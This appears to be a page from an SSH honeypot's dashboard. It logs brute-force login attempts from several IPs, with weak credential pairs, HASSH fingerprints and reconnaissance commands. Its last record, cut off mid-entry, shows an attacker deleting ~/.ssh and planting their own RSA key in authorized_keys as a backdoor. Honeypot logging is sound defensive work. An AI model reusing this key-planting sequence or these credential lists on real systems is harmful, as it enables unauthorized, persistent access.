nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 596 / 7159 (357950 total records)
Passive Observation Node - Active Operational Overview
91.92.40.217
2026-07-24 17:36:11.628933 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user3

Record ID: 647ed73b7fa1
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "647ed73b7fa1",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:36:11.628933Z",
  "end_time": "2026-07-24T17:36:13.768748Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user3",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
137.255.13.211
2026-07-24 17:36:07.987480 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: devops

Record ID: e28bafcb624f
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "e28bafcb624f",
  "src_ip": "137.255.13.211",
  "start_time": "2026-07-24T17:36:07.987480Z",
  "end_time": "2026-07-24T17:36:10.496495Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "devops",
      "pass": "devops!123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
101.96.192.88
2026-07-24 17:36:07.782930 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / ---fuck_you----

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -m
Record ID: a6c97011eb69
Client Version: SSH-2.0-Go
Engagement Duration: 2.9s
HASSH Fingerprint: 98f63c4d9c87edbd97ed4747fa031019
{
  "id": "a6c97011eb69",
  "src_ip": "101.96.192.88",
  "start_time": "2026-07-24T17:36:07.782930Z",
  "end_time": "2026-07-24T17:36:10.643496Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "98f63c4d9c87edbd97ed4747fa031019",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "---fuck_you----"
  },
  "commands": [
    "uname -s -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
101.96.192.88
2026-07-24 17:36:07.429504 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 3e299804a1d8
Client Version: Unknown
Engagement Duration: 0.2s
{
  "id": "3e299804a1d8",
  "src_ip": "101.96.192.88",
  "start_time": "2026-07-24T17:36:07.429504Z",
  "end_time": "2026-07-24T17:36:07.615965Z",
  "duration": "0.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
91.92.40.217
2026-07-24 17:36:05.691030 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: c8dabe17d0e3
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c8dabe17d0e3",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:36:05.691030Z",
  "end_time": "2026-07-24T17:36:07.793000Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:35:59.585032 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 6f771fcfbe9e
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6f771fcfbe9e",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:59.585032Z",
  "end_time": "2026-07-24T17:36:01.681802Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:35:53.259811 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gd

Record ID: 1f0c2bbafe62
Client Version: SSH-2.0-Go
Engagement Duration: 2.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1f0c2bbafe62",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:53.259811Z",
  "end_time": "2026-07-24T17:35:55.620214Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gd",
      "pass": "gd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:35:47.050415 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / 111

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 983c670773a9
Client Version: SSH-2.0-Go
Engagement Duration: 2.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "983c670773a9",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:47.050415Z",
  "end_time": "2026-07-24T17:35:49.107990Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "111"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:35:40.616360 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cw

Record ID: 02dabcbb40c3
Client Version: SSH-2.0-Go
Engagement Duration: 2.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "02dabcbb40c3",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:40.616360Z",
  "end_time": "2026-07-24T17:35:43.481226Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cw",
      "pass": "cw"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:35:32.938929 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dmdba

Record ID: 78bc60006f79
Client Version: SSH-2.0-Go
Engagement Duration: 5.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "78bc60006f79",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:32.938929Z",
  "end_time": "2026-07-24T17:35:37.975885Z",
  "duration": "5.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dmdba",
      "pass": "dmdba"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:35:26.654243 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jakob

Record ID: aec004579778
Client Version: SSH-2.0-Go
Engagement Duration: 3.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "aec004579778",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:26.654243Z",
  "end_time": "2026-07-24T17:35:29.784253Z",
  "duration": "3.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "jakob",
      "pass": "jakob"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:35:19.254576 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / qwe@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 459e1b92a447
Client Version: SSH-2.0-Go
Engagement Duration: 2.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "459e1b92a447",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:19.254576Z",
  "end_time": "2026-07-24T17:35:21.903222Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "qwe@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:35:12.123388 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: linuxuser

Record ID: b7505e3e4104
Client Version: SSH-2.0-Go
Engagement Duration: 2.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b7505e3e4104",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:12.123388Z",
  "end_time": "2026-07-24T17:35:14.513599Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "linuxuser",
      "pass": "1"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
209.141.47.217
2026-07-24 17:35:08.721342 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: book

Record ID: 7c848d6c33f8
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "7c848d6c33f8",
  "src_ip": "209.141.47.217",
  "start_time": "2026-07-24T17:35:08.721342Z",
  "end_time": "2026-07-24T17:35:09.916263Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "book",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:35:05.140218 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / toor

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: a6b6cbae640e
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "a6b6cbae640e",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:35:05.140218Z",
  "end_time": "2026-07-24T17:35:07.094580Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "toor"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:34:57.785144 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user2

Record ID: 26c582c83fc6
Client Version: SSH-2.0-Go
Engagement Duration: 2.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "26c582c83fc6",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:57.785144Z",
  "end_time": "2026-07-24T17:35:00.318220Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user2",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:34:51.797540 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin2

Record ID: 6099e035ef73
Client Version: SSH-2.0-Go
Engagement Duration: 3.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6099e035ef73",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:51.797540Z",
  "end_time": "2026-07-24T17:34:54.761957Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin2",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
3.15.28.49
2026-07-24 17:34:47.043504 UTC
SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7f7565adef03
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd
{
  "id": "7f7565adef03",
  "src_ip": "3.15.28.49",
  "start_time": "2026-07-24T17:34:47.043504Z",
  "end_time": "2026-07-24T17:34:48.416723Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "e54ef3ec27fe1fea7ab64d3fa05359fd",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}
91.92.40.217
2026-07-24 17:34:45.080988 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / admin@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: bb3ced589c89
Client Version: SSH-2.0-Go
Engagement Duration: 1.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "bb3ced589c89",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:45.080988Z",
  "end_time": "2026-07-24T17:34:46.589376Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:34:38.066992 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ai

Record ID: 73ad2244e675
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "73ad2244e675",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:38.066992Z",
  "end_time": "2026-07-24T17:34:40.252664Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ai",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:34:31.584428 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / 1234qwer

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 6787daa389da
Client Version: SSH-2.0-Go
Engagement Duration: 1.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "6787daa389da",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:31.584428Z",
  "end_time": "2026-07-24T17:34:33.478243Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "1234qwer"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:34:23.867234 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: grok

Record ID: b665317ef1c3
Client Version: SSH-2.0-Go
Engagement Duration: 3.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b665317ef1c3",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:23.867234Z",
  "end_time": "2026-07-24T17:34:27.524265Z",
  "duration": "3.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "grok",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:34:17.195048 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: asterisk

Record ID: 1b0aa65ad32d
Client Version: SSH-2.0-Go
Engagement Duration: 2.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1b0aa65ad32d",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:17.195048Z",
  "end_time": "2026-07-24T17:34:19.689141Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "asterisk",
      "pass": "asterisk"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:34:10.498808 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pi

Record ID: 2fceb8cd5e87
Client Version: SSH-2.0-Go
Engagement Duration: 2.4s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2fceb8cd5e87",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:10.498808Z",
  "end_time": "2026-07-24T17:34:12.923373Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pi",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:34:03.259943 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zahra

Record ID: 2e815a2faa9b
Client Version: SSH-2.0-Go
Engagement Duration: 2.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2e815a2faa9b",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:34:03.259943Z",
  "end_time": "2026-07-24T17:34:06.074965Z",
  "duration": "2.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "zahra",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
136.248.121.226
2026-07-24 17:33:56.799355 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 67cea88725c7
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "67cea88725c7",
  "src_ip": "136.248.121.226",
  "start_time": "2026-07-24T17:33:56.799355Z",
  "end_time": "2026-07-24T17:33:57.966803Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:33:56.611603 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / Aa123123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: e6b5a6ae8f91
Client Version: SSH-2.0-Go
Engagement Duration: 2.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "e6b5a6ae8f91",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:56.611603Z",
  "end_time": "2026-07-24T17:33:58.598896Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Aa123123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
136.248.121.226
2026-07-24 17:33:54.447240 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: dc300d2f9daa
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "dc300d2f9daa",
  "src_ip": "136.248.121.226",
  "start_time": "2026-07-24T17:33:54.447240Z",
  "end_time": "2026-07-24T17:33:56.615713Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
136.248.121.226
2026-07-24 17:33:52.049731 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Welcome@2023

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Record ID: 5914c0d70337
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 5.9s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5914c0d70337",
  "src_ip": "136.248.121.226",
  "start_time": "2026-07-24T17:33:52.049731Z",
  "end_time": "2026-07-24T17:33:57.963883Z",
  "duration": "5.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Welcome@2023"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
